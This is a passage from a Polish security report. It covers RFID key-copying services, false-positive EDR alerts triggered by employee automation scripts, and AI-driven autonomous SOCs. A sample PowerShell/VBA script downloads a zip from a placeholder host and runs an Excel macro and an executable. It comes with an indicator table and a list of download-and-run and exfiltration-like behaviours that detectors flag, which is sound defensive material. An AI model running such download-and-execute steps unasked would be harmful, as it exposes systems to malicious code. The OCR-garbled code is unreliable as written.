emisja kart dostepowych dla mieszkarncéw/pracownikéw,

= wptyw na cata infrastrukture bezpieczenstwa obiektow,

m diugotrwate ryzyko w przypadku kolejnych wystapien
incydentéw lub braku reakcji na utrate kontroli.

sProceder kopiowania dostepow do lokalizacji
istnieje na porzadku dziennym”

Lokalny Administrator wspdlnoty

Zagtebiajagc sie w temat nie zawsze legalnych dziatalno-
$ci zwigzanych z kopiowaniem elementéw dostepowych,
mozna natrafi¢ na wiecej przyktadéw procederdéw istnieja-
cych w sieci. Lokalne grupy mieszkancow réznych dziel-
nic miast zalewane sa ,szybkimi” ustugami, od$wiezanymi
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co kilka dni. Czesto te same osoby dziatajg na terenie
kilku osiedli. Niektérzy oferujg nawet ,mozliwos¢
spotkania na neutralnym gruncie — na parkingu, przed
sklepem lub w innym dowolnym punkcie” (rysunek 4.,
rysunek 5.). Czes¢ z tych sytuacji ma zapewne neu-
tralne skutki. Niektére jednak moga mie¢ charakter
dalszych zagrozen.

Na popularnych serwisach aukcyjnych mozna

w tatwy sposéb zakupié kopiarki i duplikatory
systemow RFID. Ustugi oferowane sa nie tylko na
grupach spotecznosciowych, ale takze na portalach
z ogtoszeniami. Kontaktujac sie z przyktadowymi
ofertami i proszgc o potwierdzenie autentycznosci
przedsiebiorstwa, trudno znalez¢ przypadki, ktére
nie sg phishingiem. W reakcji na pytanie o mozli-
wos¢ wystawienia faktury czy paragonu ustugo-
dawcy nie sg zainteresowani dalszym kontaktem
lub najczesciej informuja, ze opcja paragonu jest
niemozliwa (rysunek 6.). Co ciekawe, niektére oferty
maja nawet wiekszy zakres. W opcjach mozna zna-
lez¢ réowniez kopiowanie kart do biur, szlabandéw,
pilotéw garazy, a nawet zmiane modelu nadajnika,
ksztattu czy koloru.

1 szybka realizacja -od reki

2 czas trwania ok 1 minuta

3 mozliwosé¢ zmiany formy np z karty na pastylke
lub naklejke na telefon

4 mozliwy dojazd do klienta

Dostepne pestki /karty :

4 pestki Ibutton

L4 zwykle pestki

(4 karty np do biur bram szlabanu

(g karty Mifare ultra light

(4 chip na telefon (przyklejany )

(4rowniez posiadam Transmiter bluetooth

[4etui na karty ochrona przed skanowaniem RFID

Rysunek 4. Szczegdty oferty

%, Dzielnica 1 dzier

Dorahianie pestek do domofondw, altanek, pracy.
Dojazd do klienta w cenie {od 3 sztuk) ! Otwock i
okolice. Temat zatatwiamy od reki, a spokdj na lata.
Potrzebujesz dodatkowego breloka do domofonu? A
moze chcesz zamienié pestke na wygodng naklejke ...

5 OGLOSZENIA 4 dni

./ Dorabianie pestek i dallasow do domofondw,
altanek i nie tylko - sczytanie numeru i spokdj na lata
w cenie. Nie potrzebujesz dorabia¢ pestki - zajrzyj i
tak, sczytanie numeru nic nie kosztuje a zazwyczaj sie
przydaje....

Rysunek 5. Wiecej ofert

Kopiowanie pestek kart RFID domaofon, bramki ...
12 zt

@
04 LIS

Dzier) dobry, czy mozliwa jest faktura lub
paragon?
v/ 4

12:19

Dzien dobry, niestety nie

12:20

Rysunek 6. Brak faktury

~Pfatnos¢ gotowka (jesli sie
znamy) lub BLIKiem”

Lokalny ustugodawca kopiowania kluczy RFID

Zarzadcy lokalizacji, bedacy odpowiedzialni

za bezpieczenstwo, powinni zwracaé¢ wieksza
uwage na tego typu zachowania pracownikoéw,
mieszkancow. Najstabszym ogniwem tej struk-
tury jest cztowiek. Dlatego administratorzy

i zarzadcy powinni stosowaé podstawowe srodki
zaradcze:

m precyzowanie uprawnien — poswiadczenia przypisa-
ne do kazdego cztonka zespotu lub spotecznosci,

m stosowanie bardziej zaawansowanych systemoéw
z szyfrowaniem, logowaniem, monitoringiem,

m kontrola tozsamosci osdb, ktére otrzymuja kopie
urzadzenia dostepowego,

m korzystanie z autoryzowanych punktéw dorabiania
dostepow,

m przejrzystosé i transparentnos¢ we wspodtpracy
z ustugodawcami,

m ograniczenia i uscislenia w regulaminach,

m oficjalne akceptacje jedynie autoryzowanych ustu-
godawcow w przypadku samodzielnych dziatan
cztonkoéw, o ile regulamin uwzglednia takie rozwig-
zanie,

m dostep czasowy i kontrola gosci,

m szkolenia i edukowanie oséb posiadajgcych dostep
do lokalizacji,

m zarzadzanie dostepami, mozliwos$¢ zdalnego wyta-
czenia,

m audyty, przeglady liczby dziatajgcych dostepow,
ewentualne zawieszanie niepotrzebnych.
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Infrastruktura IT dostarcza rozwiagzania, ktére pozwa-
laja na dziatanie biznesu. Umozliwia realizacje celdéw,
spetnia potrzeby pracownikéw. Procesy biznesowe
wymagaja implementacji rozbudowanych platform
aplikacyjnych. Wdrozenia ustug uwzgledniajg do-
stosowanie narzedzi do realizacji zadan organizaciji.
Z uptywem czasu procesy ulegaja zmianie, zasoby
narzedzi nie nadgzajag za potrzebami pracownikow.
Modyfikacja lub zmiana dostepnego oprogramo-
wania nie zawsze jest mozliwa, stad pojawia sie
potrzeba indywidualnych adaptacji na podstawie juz
dostepnych modutéw umozliwiajacych wykonanie
powierzonych zadan. Zmiany w strukturach apli-
kacyjnych wigza sie z nastepstwem detekcji takich
zdarzen w sztywno okreslonych regutach monitoringu
infrastruktury organizacji. Niektére przypadki mody-
fikacji moga zostac sklasyfikowane jako zagrozenie
dla organizacji. Przedstawimy prawdopodobieristwo
i przyktady zarejestrowania takich nastepstw, a takze
okreslimy metody minimalizacji fatszywych alarméw,
jakie moga pojawi¢ sie w ramach dziatan cyberbez-
pieczenstwa.

Usprawnianie operacji wewnetrznych w korporaciji
ma miejsce na réznych ptaszczyznach i warstwach
funkcjonowania wydziatéw firm. Bez wzgledu na za-
kres moga by¢ to usprawnienia zaréwno globalne dla
wewnetrznych proceséw, jak i lokalne dla okreslonej
grupy pracownikéw, a nawet pojedyncze rozwigzania
zaprojektowane przez samych uzytkownikéw w celu
usprawniania wtasnej pracy. Innowacyjne sposoby
zwiekszenia wydajnosci i angazowania pracownikéw
sg narzucane odgérnie lub przybierajg charakter
inwencji witasnej uzytkownika. Rozwigzania globalne
w rozumieniu korporacji kompletnej, czyli takiej, ktéra
posiada rozbudowany system wydziatéw i warstw,
wspomagajg procesy wewnetrzne oraz biznesowe.

Mowigc o szerokim zastosowaniu autoryzowanych
pakietéw narzedzi i odnoszac je do warstwy bez-
pieczenstwa ich zastosowania w firmach, wiemy, ze
wszystkie zasztosci zwigzane z tg warstwa sg anali-
zowane na poziomie wdrozeniowym, a specyfikacja
pozwala tatwo uplasowac ich autentycznosc¢ i bezpie-
czenstwo w srodowiskach monitorowania zasobéw
aplikacyjnych. Jednakze odnoszac sie do przypad-

Uzytkownik czesto sam two-
rzy usprawnienia, nie wiedzac
o narzedziach i mozliwosciach
wdrozonych w firmie, bezpiecz-
nych i wspieranych przez
zespoly wewnetrznych srodo-
wisk aplikacyjnych.

kéw narzedzi skali mikro, lokalnych i pomocniczych,
dedykowanych, lub nawet tworzonych indywidualnie,
o ile sztywne restrykcje firny na to pozwalajg, mamy
do czynienia z problematycznym zagadnieniem od-
nosnie do strony cyberbezpieczeristwa. Wiele biuro-
wych narzedzi posiada atrybuty pozwalajace na ela-
styczne wprowadzanie zmian w ich wykorzystywaniu.
»~Customizacja”, wykorzystywanie wtyczek, bibliotek
w celu osiggniecia dodatkowych funkcjonalnosci
narzedzi daje mozliwos$¢ usprawnienia procesow, ale
réwniez powoduje dodatkowe problemy lub fatszywe
indykatory zagrozenia, co dla systeméw monitoringu
oznacza potencjalny incydent.

Rozwigzania pétautomatyczne sg czesto tansze

i szybsze we wdrozeniu niz gotowe, komercyjne
rozwigzania i niekoniecznie podatne czy niebezpiecz-
ne — w zaleznosci od zastosowania. Niektére grupy
uzytkownikéw wykorzystujg dobrze znane warstwie
bezpieczenstwa wewnetrzne rozwigzania. Grupy
Service Desk z reguty majg w posiadaniu swoje
szybkie skrypty utatwiajgce detekcje konfiguracji oraz
sprawdzanie kompletnosci sterownikéw. Dedykowa-
ne czasowo wykorzystywane aplikacje okolicznoscio-
we, projektowe to takze przyktad, ktéry w pewnych
przypadkach trudno zastgpi¢ dedykowanymi narze-
dziami. Réwniez wydziaty do spraw rozwoju cze-

sto stosujag rozwigzania testowe, narzedzia w fazie
rozwijania lub hybrydowe systemy miedzyaplikacyjne
bedace w trakcie wdrozenia.

Poruszajgc tematyke aplikacji i skryptéw w syste-
mach detekcji, odnosimy sie do przypadkéw we-
wnetrznej twoérczosci uzytkownikéw. Nalezy poru-
szy¢ zjawisko obserwowane w kazdej z firm. Proste
programy, skrypty czy makra jest w stanie zaprojek-
towac¢ kazdy uzytkownik. Bardziej zaawansowane
lub proste rozwigzania moga poruszy¢ alertowanie

w systemach bezpieczeristwa. Nie dotyczy to jednak
wszystkich metod wykrywania. Zmiany w $rodowisku
aplikacyjnym moga powodowaé wzbudzenie regut
systemow klasy SIEM, SOAR, regut YARA, nawet
wykrywanie heurystyczne analizujace struktury pikow
czy behawioralne systeméw EDR. Podejrzane cechy
recznie tworzonych aplikacji oraz skrypty zawierajgce
niestandardowe linie komend. Zachowania wykracza-
jace poza standard, edycje rejestréw systemowych.
Niektére przypadki false positive moga generowac
niepotrzebne angazowanie cennego czasu eksper-
téow cyberbezpieczenstwa w celu przeprowadzania
huntingu w obrebie potencjalnego incydentu wywota-
nego przez reguty.

Kolejne skutki wykrycia to proces wyjasniania przy-
czyn pojawienia sie zasztosci na stacji uzytkownika.
Pomimo duzego prawdopodobienstwa braku za-
grozenia po wstepnej analizie, dalsze kroki nadal sg
wymagane i zabierajg czas operacyjny analitykow.



Kontakt z uzytkownikiem, czesto poprzedzony izolacja od
infrastruktury w zaleznosci od zaawansowania przypad-
ku, moze powodowac spowolnienie dziatarh biznesowych
w firmie. Jednakze catkowite zablokowanie opcji indy-
widualnych dziatan uzytkownika podejmowanych w celu
usprawnienia swojej pracy nie jest mozliwe, gdyz sam
dostep do pewnych pakietéw narzedzi, nawet podstawo-
wych, stwarza pewne mozliwosci dla uzytkownika w kwe-
stii elastycznosci ich wykorzystywania.

Nie wszystkie przypadki to oczywiste fatszywe alarmy.
Nie wolno pominag¢ ich weryfikacji, poniewaz zbyt duza
ingerencja uzytkownika moze prowadzi¢ do niechcia-
nych skutkéw, np. eksfiltracji danych czy podtaczania
zrédet o ztej reputacji. Moze to skutkowaé pojawieniem
sie realnych zagrozen w sieci korporacyjnej lub otwo-
rzy¢ drogi ataku. Wykorzystanie klikajgcych botéw
przez pomystowych pracownikéw czy rejestratoréw
dziatan cztowieka w celu powtarzania czynnosci moze
prowadzi¢ do pozostawiania stacji bez blokady. Uzyt-
kownik czesto tworzy usprawnienia, nie wiedzgc o na-
rzedziach, mozliwosciach wdrozonych w firmie, bez-
piecznych i wspieranych przez zespoty wewnetrznych
$srodowisk aplikacyjnych.

Aplikacje i skrypty ,,customowe”, utworzone przez
uzytkownika, z duzym prawdopodobienstwem wykry-
cia przez systemy EDR:

m Automatyczne zbieranie informacji o systemie — apli-
kacje dziatu IT wykorzystywane do celéw audytowych
i diagnostycznych. Pobieranie informaciji o konfiguracji
systemu. Wykorzystanie polecen systemowych, takich
jak: tasklist, netstat, systeminfo. Automatyczne wysyta-
nie zebranych informacji na zewnetrzny zaséb.

= Pobieranie i uruchamiania plikéw — automatyczne skryp-
ty pobierajagce z internetu pliki w celu dalszego przetwa-
rzania na stacji.

m Resetowanie ustug — wykorzystanie harmonogramu
w celu resetowania, a takze wytaczania ustug moze
wskazywacé na ukryte dziatania ztosliwego oprogramo-
wania.

= Modyfikacje plikéw konfiguracyjnych — skrypty modyfi-
kuja, dodaja, usuwaja pliki konfiguracyjne.

m Aplikacje do symulowania zagrozen — niestandardowe
narzedzia zespotéw cyberbezpieczenstwa nakierowane
na badanie zachowania endpointéw.

m Narzedzia do testéw penetracyjnych — symulacje dziatan
potencjalnie ztosliwych.

m Kreatory no-code - brak petnej kontroli nad kodem;
czesty brak wsparcia bezpieczenstwa prowadzi do nie-
zamierzonych luk.

m Automatyczne kopie zapasowe — wysytanie plikéw do
chmury — cykliczne monitorowanie katalogu i wysytanie
umieszczonych w nim plikdéw do chmury czy zewnetrz-
nego FTP.

m Wywotanie narzedzi do analizy i debugowania systemu
— z wykorzystaniem narzedzi typu Wireshark, Process
Explorer, Procmon.

m Makra Microsoft Office — skrypty na bazach danych

przyspieszajgce prace, np.: segregacja danych klienta,
pobieranie dokumentéw zwigzanych z klientem, makra
wyciggajgce wszystkie wpfaty i rozliczenia klienta. Staty-
styki, raportowanie.

m Skrypty automatyzacyjne VBS pozwalajg na kopiowanie
tekstu, wklejanie w inne miejsce w celu automatyzacji
przetwarzania danych, tworzenie modutéw, formularzy
uzytkownika.

m Boty autoclickery — skrypty klikajace odpowiednie pozy-
cje na ekranie.

m Automatyczne rekordery skryptéw.

m Aplikacje diagnostyczne — czesto przygotowane na po-
trzeby Service Desk w celu szybkiej diagnostyki proble-
moéw na staciji.

m Aplikacje srodowiska pracy, takie jak: sprawdzanie
obecnosci plikéw, postepu instalacji, komunikaty dla
uzytkownika, sprawdzanie uprawnien uzytkownika,
odswiezanie pulpitu w celu standaryzacji tta pracy, mo-
nitory aktywnosci kursora, instalatory narzedzi dedyko-
wanych.

Nie wszystkie przypadki to oczy-
wiste fatszywe alarmy. Nie wolno
pominac¢ ich weryfikacji, ponie-
waz zbyt duza ingerencja uzyt-
kownika mogta prowadzié do
niechcianych skutkow, np. eks-
filtracji danych czy podfaczania
zrodet o ztej reputacji.

W celu zobrazowania przypadku potencijalnie fatszywie
pozytywnego zostat przygotowany przyktad podstawo-
wego skryptu uzytkownika, ktéry jest w stanie wygenero-
wag alerty w systemach detekcji. Prawdopodobienstwo
wykrycia dziatari wygenerowanych przez skrypt zalezy od
wrazliwosci mechanizmoéw detekcji. Jednak poszczegdlne
elementy i dziatania realnie moga wywotac¢ niekoniecznie
pozadany alert. Zalezy to od polityki prewencyjnej sieci
monitorowanej.

Omawiany scenariusz jest losowg sytuacjg, przyktadem
zastosowanych krokéw. Zadaniem uzytkownika jest
przeszukiwanie listy wedtug lokalizacji geograficznej

i umieszczanie danych zwigzanych z nowa lokalizacja,
ktére dotyczg jednostki przez niego zarzadzanej. Aktual-
na lista zasilana jest w pliku na zasobie ogdlnym, aktuali-
zowana regularnie dla catej organizacji. Pracownicy recz-
nie pobieraja dane, a nastepnie segreguja i przygotowuja
do dalszej obrébki w wewnetrznej aplikacji typu data
management system, jednak jest to aplikacja przesta-
rzata z ograniczonymi funkcjami. Motywacja pracownika
byt brak systemu automatyzacyjnego i stare rozwigzania
w firmie. Scenariusz dotyczy uzytkownika, ktéry utworzyt
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skrypt automatyzacyjny PowerShell, nastepnie
dodat kroki wykonywane w arkuszu Microsoft Excel
z obstugg makr.

Przeanalizujmy podreczne rozwigzanie uzytkownika.
Pracownik uruchamia przygotowany przez siebie
plik. Po uruchomieniu skryptu PowerShell testps.
ps1 nastepuje pobranie aktualizowanego pliku data.
zip z zasobu i zapisanie na pulpicie uzytkownika.
Kolejny krok to rozpakowanie archiwum zwieraja-
cego plik data.txt. Skrypt uruchamia arkusz kalku-
lacyjny Zeszyt1.xIlsm, w ktérym zagniezdzone jest
makro PrzeniesDaneZawierajaceTekst. Do Zeszyt1.
xlsm kopiowana jest zawarto$¢ data.txt, a potem
nastepuje uruchomienie wewnetrznego makra, ktére
kopiuje z Arkuszal do Arkusza2 okreslone wartosci
kolumny. W tym przypadku kopiuje do osobnego
arkusza lokalizacje zawierajacg w stringu szukany
tekst: Warszawa. Nastepuje segregacja i wyekstra-
howanie adreséw warszawskich, ktére interesujg
uzytkownika. Dzigki tej akcji pracownik szybko
otrzymuje wyniki. Makro moze by¢ dalej rozwijane.
Tym sposobem moze nie tylko segregowac, ale
réwniez agregowac dane zwiazane z lokalizacja oraz
kolumny powigzane.

Uzytkownik postanowit rGwniez umiesci¢ auto-
matyczne uruchamianie wspomnianego wczesniej
narzedzia wewnetrznego AplikacjaXYZ.exe zainstalo-
wanego w lokalizacji C:\Program Files, w ktérym do-
konuje dalszej pracy. Po zakoriczeniu dziatania makra
skrypt testps.ps1 realizuje nastepng instrukcje, ktérg
jest usuniecie pliku archiwum data.zip. Wypakowany
plik tekstowy data.txt pozostaje w celu archiwiza-
cji na stacji uzytkownika. Do scenariusza celowo
zastosowano dwa proste, lecz osobne skrypty, gdzie
pierwszy wywotuje kolejny zagniezdzony w arkuszu,
co pozwala na zwigkszenie prawdopodobienstwa
wyKkrycia przez systemy detekciji.
Sub PrzeniesDaneZawierajaceTekst()

Din webocelon he lorkahect

Dim ostatniliersz As Long

Dim i As Long
Dim szukanyTekst As String

Set wszrodlowy = Thiskorkbook.Sheets("Arkusz1")
Set wsDocelawy = Thiskorkbook. Sheets("Arkusz2")

szukanyTekst = "Warszaua”

wsDocelowy.Cells.Clear
ostatniWiersz = wszrodlowy.Cells(wszrodlowy.Rows.Count, “A").End(x1Up).Row

Dim wierszDocelowy As Long
wierszDocelowy = 1

For i = 1 To ostatniWiersz
If Instr(1, wszrodlowy.Cells(i, "A").Value, szukanyTekst, vbTextCompare) > & Then

wszrodlowy.Cells(i, "A").Copy Destination:-wsDocelowy.Cells(uierszDocelowy, “A")
wierszDocelowy = wierszbocelowy + 1
End 1f
Next i

MsgBox “Przaniesiono danas zawiersjace '" & szukanyTekst & "*."

Call uruchomAplikacjaxXyz
End Sub
Sub UruchomaplikacjeXvZ()

Dim shell As Object

Set shell = CreateObject("WScript.Shell")

shell.Run "C:\Program Files\AplikacjaX¥Z\AplikacjaXYZ.exe"
End Sub

Makro VBS PrzeniesDaneZawierajaceTekst

Invoke-HebRequest -Uri "hxxp://datasource.domain/xyz/data.zip" -OutFile "C:\Users\user\Desktop\data.zip"
$zipPath = "C:\Users\user\Desktop\data.zip"
$extractFolder = "C:\Users\user\Desktop”

Add-Type -AssemblyName System.I0.Compression.FileSystem
[System.I0_Comprassion.ZipFile]::ExtractToDirectory($zipPath, $extractFolder)

$notatnikPath - "C:\Users\user\Desktop\data.txt”
$excelPath = "C:\Usersiuser\Desktop\Zeszytl.xlsm"
$makroNazwa = “PrzeniesDaneZawierajaceTekst”

$excel = New-Ubject -Combject kxcel.Application
$excel.visible = $false

if (Test-Path SexcelPath) {
suorkbook = Sexcel.Horkbooks.Open(Sexcelpath)

} else {
Sworkbook = Sexcel.Horkbocks.Add()
suorkbook . SaveAs (SexcelPath)

1

$sheet = Sworkbook.Sheets. Ttem(1

$sheet .Cells Clear()

$lines - Get-Content -Path $notatnikPath

$row = 1

foreach ($line in $lines) {
$sheet.Cells.Ttem($row, 1).Value2 = $line
$row

L

Sworkbook . Save()
$excel.Application.Run(SmakroNazua)
suorkbook . Save()

$workbook . Close()
Sexcel.ouit()

[System.Runtime. Interopservices.Marshal |: :ReleaseConObject ($excel) | Out-Null
Remove-Variable excel
Remove-Item -Path $zioPath -Force

Skrypt PowerShell testps.ps1

Dokonajmy analizy poszczegdlnych krokéw skryptu
w celu opisu prawdopodobnych powigzan z poten-
cjalnym dziataniem niepozgdanym w przypadku real-
nego ataku. Zbiér indykatoréw nastepujacych kolejno
po sobie moze powodowacd pojawianie sie alertu

w systemach detekcji. Natomiast w realnym przypad-
ku zagrozenia ponizsze dziatania moga by¢ powigza-
ne z réznymi etapami ataku — od pobrania ztosliwego
oprogramowania, przez ukrywanie sladéw, az po
wykonanie ztosliwego kodu. Warto je monitorowac

i analizowa¢ w kontekscie petnego cyklu ataku.

Polecenie

Potencjalny indykator

Pobieranie pliku ZIP z serwe-
ra zewnetrznego, uzycie pro-
tokotow HTTP/HTTPS, moze
wskazywac na pobieranie

ztosliwego oprogramowania.

Automatyczne rozpakowy-
wanie pobranego pliku ZIP,
moze stuzy¢ do ukrywania

ztosliwych plikow.

Uruchamianie aplikacji Excel,
moze by¢ wykorzystywane
do automatycznego wykony-
wania makr lub manipulaciji
plikami.

Otwarcie lub utworzenie pliku
Excel, moze wskazywac na
manipulacje danymi.

Uruchomienie makra w pliku
Excel, co jest potencjalnie
niebezpieczne, jesli makro
zawiera ztosliwy kod.

Usuwanie pliku ZIP po jego
przetworzeniu, moze by¢
préba ukrycia sladéw dzia-
tania.




Call UruchomAplikacjaXYZ

Uruchamianie zewnetrznej
aplikacji z petna sciezka
(shell.Run), moze by¢ wyko-
rzystywane do uruchamiania
ztosliwego oprogramowania
lub dziatan ukrytych.

Dim shell As Object
i Set shell = CreateObjec-
t(,, WScript.Shell”)

Tworzenie obiektu WScript.
Shell do uruchamiania ze-
wnetrznych programoéw, jest
czesto wykorzystywane przez
ztosliwe makra do urucha-
miania ztosliwego kodu.

shell.Run ,,C:\Program Files\
AplikacjaXYZ\AplikacjaXYZ.
exe”

Uruchamianie pliku wyko-
nywalnego z petna sciezka,
szczegOlnie jesli nie jest to
uzasadnione, moze by¢ po-
dejrzane.

Wywotanie makra w pliku
Xlsm przez skrypt powershell

Uzywanie PowerShell do
uruchamiania makr, moze
by¢ zagrozeniem, jesli makra

sg ztosliwe.

Dostosowanie detekciji jest kluczem do osiggniecia réw-
nowagi pomiedzy wychwyceniem wtasciwych zagrozen

a fatszywymi alertami wywotywanymi trywialnymi skrypta-
mi, aplikacjami uzytkownikéw. W praktyce pojedyncze
zdarzenie z powyzszego scenariusza nie powinno sie
pojawi¢ w dobrze skonfigurowanym lub zaawansowanym,
inteligentnym systemie detekcji. Natomiast natozenie sie
kilku podejrzanych wzorcéw zachowan w odpowiedniej
jednostce czasu moze sygnalizowac¢ zagrozenie. Zalezne
jest to od szczegdlnych regut detekcji ustalanych przez
analitykéw, ekspertéw SOC SIEM, wdrozeniowcdw syste-
mow ochrony, ale takze od zaawansowania inteligentnych
rozwigzan hybrydowych.

To jednak nie wszystko, co mozna zrobi¢ w kontekscie
wiasnych aplikacji, skryptéw i wewnetrznych rozwia-
zan. Nie wszystkie przypadki udaje sie wykluczyé.

W przypadku rozwiazan bardziej rozbudowanych czy
aplikacji customowych przygotowanych przez dewelo-
perow nalezy stosowacé rozwigzania zapobiegawcze:

m Systemy dozwolonych aplikaciji, polityki dostepdw.

m Procesy dopuszczania aplikacji wewnetrznych/customo-
wych.

m Metodyka wnioskowania i sposobu instalacji.

= Podpisywanie plikéw, certyfikacja aplikacji (zaufanie,
autentycznosé, integralnosc).

m Implementacje Access Control List, np. Whitelist.

m Realizacja testow aplikacji wrazliwych na wykrycie poza
siecig korporacyjna.

m Dostosowanie wrazliwosci regut systeméw detekcji.

m Dokumentacja analiz w celu budowania scenariuszy
reakcji.

m Okreslenie wzglednie bezpiecznych, akceptowalnych
kontekstéw zdarzen.

Warto stosowac rozwigzania pasywne, to pozwala na
pozbycie sie probleméw wystepujacych w infrastruk-
turze aplikacyjnej na etapie wdrozenia, dopuszczenia,
jednak dopiero razem z zapleczem dziatu cyberbezpie-
czenstwa optymalizacja moze by¢ kompleksowa. Odpo-
wiedni zespot nie tylko wtasciwie przygotuje srodowisko
monitorowania, ale réwniez zadba o jego utrzymanie.
W przypadku duzych zmian w infrastrukturze inwe-
stycja czasu w rozpoznanie struktury aplikacyjnej
infrastruktury moze pomoc w kontroli zalewu zdarzen
fatszywie pozytywnych, ktére czesto skutkujg obnize-
niem wydajnosci pracy catej struktury firmy, a nawet
obnizeniem ptynnosci biznesowej w przypadku dziatan
prewencyjnych. Systemy klasy SIEM, SOAR pozwalaja
na szlifowanie ochrony i usuniecie nieoczywistych przy-
padkow fatszywych alarméw. Pomimo szerokiej gamy
ofert zarzadzania ze wsparciem Al, czynnik ludzki nadal
pozostaje waznym punktem w duzych organizacjach.
Analiza logéw i regularne aktualizacje regut pozwalajg
na optymalizacje i zapewnienie jakosci pracy systemoéw
informatycznych korporacji.

m Implementacja modeli uczenia maszynowego i Artificial
Intelligence.

= Regularny przeglad regut i aktualizacje.

m Wdrazanie narzedzi bezpiecznych, sprawdzonych.

m Szkolenia pracownikéw, poszerzanie wiedzy o bezpiecz-
nych, dostepnych rozwigzaniach.

m Weryfikacja zapotrzebowania na narzedzia automatyza-
cyjne w poszczegdlnych dziatach.
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Liczba cyberatakdw rosnie z roku na rok, przez co
trudniejsza, a wrecz nierealna staje sie manualna
obstuga zdarzen bezpieczenstwa. Poczatkowo
rozwigzaniem tego problemu wydawaty sie produk-
ty klasy SOAR (Security Orchestration, Automation
and Response), ktére pozwalajg automatyzowac
zmudne, powtarzalne oraz statyczne czynnosci.

Wraz z rozwojem technologicznym — ,,Al boom”
(okres nagtego wzrostu popularnosci sztucznej
inteligencji) — zwigzanym m.in. z innowacjami w za-
kresie generatywnej sztucznej inteligencji, mozna
zaobserwowacd zwiekszone mozliwosci automaty-
zacji proceséw wymagajacych podejmowania de-
cyzji czy wykonywania bardziej ztozonych polecen.
W efekcie analitycy SOC (Security Operations Cen-
ter), dotychczas przecigzeni powtarzalng praca,
bedg mogli skupi¢ sie na kwestiach wymagajgcych
gtebokiej wiedzy organizacyjnej oraz petni¢ role
arbitra dla agentéw Al.

02

W duzym uproszczeniu mozna powiedziec¢, ze
autonomiczny SOC to taki, w ktérym wiekszos¢
»,codziennej pracy” wykonujg systemy, a cztowiek
petni role nadzorcy i eksperta od najtrudniejszych
przypadkéw. Nie chodzi o petne wyeliminowanie lu-
dzi w procesie detekcji i reakcji na zdarzenia bezpie-
czenstwa, lecz o przesunigcie ich zadan z recznego
sprzeklikiwania” alertéow w strone analizy, projekto-
wania proceséw i nadzoru.

W procesie obstugi incydentéw znajduje si¢ wiele
obszaréw z wystepujaca potrzebg podejmowania
decyzji. Jednoczesnie stanowig one naturalne ele-
menty podatne na automatyzacje z wykorzystaniem
GenAl (generative artificial intelligence) oraz innych
metod uczenia maszynowego. Sg to m.in.:

m Detekcja — modele uczenia maszynowego wykry-
wajg anomalie i podejrzane zachowania, zamiast
polegac tylko na statycznych regutach.

m Triage — Al automatycznie odrzuca oczywiste
fatszywe alarmy i nadaje priorytet bardziej podej-
rzanym zdarzeniom.

Skuteczne wykorzystanie za-
awansowanych algorytmoéw Al
wymaga co najmniej podstawo-
wej wiedzy o zasadach ich dzia-
tania.

= Wstepna inwestygacja — Al samo zbiera dane na
temat kontekstu: historie logowan, komunikacje
sieciowg, informacje z platform CTI (Cyber Threat
Intelligence) o zagrozeniach.

m Reakcja - sztuczna inteligencja podejmuje dziatania
(np. izolacja stacji uzytkownika, wysytka notyfikacji do
odpowiedniego odbiorcy), bez udziatu cztowieka.

03

Koncepcje przechodzenia od prostego do innowa-
cyjnego SOC dobrze opisujg tzw. modele dojrzato-
$ci. W ponizszej tabeli zaprezentowany zostat model
sktadajacy sie z 5 poziomdw, opisujgcy kolejne etapy
w rozwoju Operacyjnych Centrow Bezpieczenstwa
w kierunku autonomii.

Poziom Tryb pracy Charakterystyka

Godziny
biurowe

Podstawowy monitoring,
brak automatyzaciji

Rozbudowany SIEM,
pierwsze skrypty auto-
matyzujace powtarzalne
zadania

24/7

Powotany specjalny
zespot, threat hunting,
integracja wiekszej liczby
narzedzi

Platforma SOAR, szeroka
automatyzacja reakcji,
lepsza korelacja zdarzen,
reguty oparte na podsta-
wowych Al i ML

Agentowa Al, czesciowo
autonomiczne inwestyga-
cje i reakcije, silna orkie-
stracja, detekcja w duzej
mierze oparta na Al/ML

Tabela 1. Model dojrzatosci SOC

Dziatania, ktére mozna sklasyfikowac jako autonomicz-
ne, pojawiaja sie dopiero na ostatnich dwdch pozio-
mach dojrzatosci SOC. Jednak peten zakres autonomii
jest widoczny dopiero na pigtym poziomie, gdzie
mamy do czynienia z gtdwna cechg charakterystyczna
autonomicznego SOC-a — mozliwoscia podejmowania
decyzji przez algorytmy sztucznej inteligencji. Warto
podkresli¢, ze w autonomicznym SOC rola cztowie-
ka nie znika, lecz przechodzi istotna transformacje
- zamiast prostych czynnosci operacyjnych rosnie
znaczenie bardziej zaawansowanych kompetencji.
Jednoczesnie pojawiaja sie nowe specjalizacje,
ktére w SOC-ach nizszego poziomu zwykle nie wy-
stepuja, takie jak eksperci od uczenia maszynowe-
go i sztucznej inteligencji. Skuteczne wykorzystanie
zaawansowanych algorytmoéw Al wymaga co najmniej
podstawowej wiedzy o zasadach ich dziatania oraz
umiejetnosci projektowania i rozwijania przeznaczo-
nych do tego celu modeli.
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O Kraina mlekiem i miodem
ptynaca?

Na drodze do petnej autonomii w SOC-u napotyka sie wiele
przeszkod technicznych, organizacyjnych czy regulacyjnych.

4.1. Wyzwania techniczne

Gtéwnym problemem technicznym jest odpowiedz na pyta-
nie: ,,dlaczego algorytm Al podjat takg decyzje, a nie inng?”.
Analitycy i audytorzy chca rozumieé, dlaczego agent uznat
dane zachowanie za ztosliwe i dlaczego zdecydowat sie np.
zablokowac¢ konto. W $wiecie nauki istnieje cata poddziedzi-
na, ktéra zajmuje sie tzw. wyttumaczalnoscia Al (Explain-
able Al, XAl). W jej ramach podejmowane sg starania, aby
utworzy¢ zestaw metod oraz proceséw, ktére pozwolityby
w sposéb oczywisty dla cztowieka wyjasnié proces decyzyj-
ny konkretnych algorytméw sztucznej inteligenciji.

Innym problemem technicznym jest bezpieczeristwo wdraza-
nych modeli generatywnej sztucznej inteligenciji, czyli w jaki
sposob zadbad, aby nie dochodzito do naduzy¢ takich mo-
deli oraz jak je bezpiecznie wdraza¢ w srodowiskach produk-
cyjnych. W tym temacie zachecam do przeczytania artykutéw
w zesztorocznym raporcie CERT Orange Polska.

Kolejnym problemem technicznym sa zasoby sprzetowe. Za-
awansowane algorytmy Al potrzebujg duzej mocy obliczeniowej,
a co za tym idzie, koszty wdrozenia takich rozwigzan sa zde-
cydowanie wigksze niz klasycznych metod wykorzystywanych
w procesie detekciji i reakcji na zdarzenia bezpieczenstwa.

4.2. Bariery organizacyjne

Dynamicznie zmieniajace sie przepisy dotyczace sztucznej
inteligencji — takie jak kolejne etapy wdrazania unijnego Al
Act - sprawiajg, ze dziaty prawne i compliance czesto nie sg
